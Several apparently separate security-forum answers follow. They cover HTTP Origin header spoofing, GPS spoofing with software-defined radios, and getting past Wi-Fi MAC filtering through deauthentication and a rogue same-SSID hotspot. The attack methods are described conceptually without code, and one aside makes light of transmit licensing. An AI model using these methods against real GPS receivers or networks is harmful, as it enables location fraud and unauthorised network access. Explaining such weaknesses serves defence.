The HTTP Origin is a forbidden header name, meaning that it is set by the browser and cannot be overridden in any requests. As long as a modern browser is used and the web application returns an error if the origin header doesn't match or isn't sent, there is not a way to bypass this.
Side note, as pointed out in comments, PHP does not run in the browser, as it is a server-side language.


Spoof coordinates sent by a GPS tracker device

Depending on how creative you want to get (and how much money you want to spend), there is a lot you can do with SDR (software defined radio) in terms of broadcasting GPS data using tools like the HackRF One and the BladeRF. The reality is that any SDR device that has transmit capability should (in theory) be able to spoof GPS data. Many devices, including handhelds, smartphones, and tablets still implicitly trust GPS data.

More info on spoofing with SDR:

Talk at BlackHat
RTL-SDR (a good reference site in general)
DEFCON 23 Presentation Slide Deck
Open Source Project on GitHub

Remember, to be legal, you technically need a HAM Radio Operator's License to transmit.... technically.


They would not need to obtain the list, just a single allowed MAC address suffices. Spoofing the network and deauthing a single client (forcing them to connect to their hotspot instead of yours) would allow anyone to obtain such a MAC address.
No, and your assumption is correct. The WPA key is derived from the password and the router will not allow anyone to connect with a WPA key that is not currently valid.

Edit:
Assuming your network contains mobile devices that regularly go outside the range of the network, one could simply sit just outside the range of your network with another (rogue) hotspot with the same SSID, wait for one of your devices to come out and connect to their network, revealing the authorized device's MAC address.